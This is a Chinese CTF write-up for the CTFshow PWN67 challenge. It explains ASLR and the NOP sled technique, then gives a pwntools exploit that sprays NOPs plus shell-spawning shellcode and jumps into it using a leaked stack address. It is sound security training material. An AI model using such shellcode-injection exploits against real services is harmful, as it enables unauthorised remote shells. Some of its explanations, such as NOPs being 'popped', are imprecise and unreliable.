基础知识:
1.全局变量和局部变量,全局变量存在数据段或.bss中,而局部变量存在栈中。
2.ASLR可以使栈段和堆段随机化,我对随机化的理解是给一个区间,然后堆栈段整体在这里面挪动(也就是说,对于同一个程序,栈内部的偏移是不变的,变的只是栈的基址)。(题外话,ASLR和PIE的区别在于,ASLR不对代码段和数据段进行随机化,这个功能由PIE实现,但是只有开了ASLR才能开PIE)
3.一般情况下的利用方法是,往栈上某个地方(buf1)写入shellcode,然后覆盖ret地址,返回到buf1去执行(前提是该段可执行)。如果不开启ASLR,根据反编译出来的汇编代码,可以轻而易举地推出整个栈的结构,进而得到buf1(有时候题目甚至会把buf1打印出来,那就更简单了)。
但是,如果开启ASLR后,栈的基址每次运行程序都会发生变化,这个时候想要确定buf1就会变得很困难。于是,nop sled诞生了。
nop sled,就是往shellcode后填充尽可能多的nop,原来要执行shellcode必须命中shellcode开始的地址,现在只需要命中随便一个nop,就能滑到shellcode。可以理解为变相扩大shellcode命中范围。

例题CTFSHOW PWN入门 PWN67,
开启了ASLR,可以往seed写入shellcode,但是seed的地址未知。不过程序会给一个地址positon=*v1±(0-668),也就是给了v1的大致地址,由于v1和shellcode所在的seed都在栈上,根据栈内偏移不变,就相当于变相给了seed的大概地址,那么根据seed的大概地址,就能用nop sled来打:

关于为什么开了ASLR,还要整一个随机数,我的理解是,理论上来说,开启了ASLR,确实可以什么都不给,然后nop sled,但是估计是ASLR偏移的范围比较大,而能填充的nop比较有限,这就导致nop sled的作用非常有限,可能跑很多次都命中不了。所以得利用随机数来泄露一下shellcode的地址的大概范围,本题在这个基础上还绕了一下,没有直接泄露shellcode的地址,而是把栈上另一个变量的地址泄露了,让我们根据汇编代码来推shellcode的大概地址。
ok,接下来构思一下思路:
首先确定v1跟seed之间的距离,得出seed的地址大概范围。然后往seed写入nop*n+shellcode,n由范围区间±(0-668)决定,最后在往执行地址v5写入seed的大概地址。
确定v1与seed距离参考博客:
CTFshow-pwn入门-pwn67(nop sled空操作雪橇)-CSDN博客
由于nop指令是pop掉的,所以nop们得放在低地址,shellcode要在高地址,也就是写payload时候shellcode要在后面。同时,需要假设最极端情况,即范围取到了端点——实际地址比给的地址高668,而要保证shellcode地址比实际地址高,所以shellcode位置就得在positon+668的位置,nop需要填668*2=1336个.
exp:
from pwn import*
from LibcSearcher import*
#连接远程
p=remote("pwn.challenge.ctf.show",28204)
payload=asm(shellcraft.sh())
payload=b'\x90'*1336+payload
p.recvuntil('location: ')
location=p.recvuntil('\n',drop=True)
print(location)
location=int(location,16)
location=location+45
location=location+668
p.sendlineafter('>',payload)
p.sendlineafter('>',hex(location))
p.interactive()
需要注意一下,传location时候,不是%s型而是%p型,所以不用p32()而用hex()
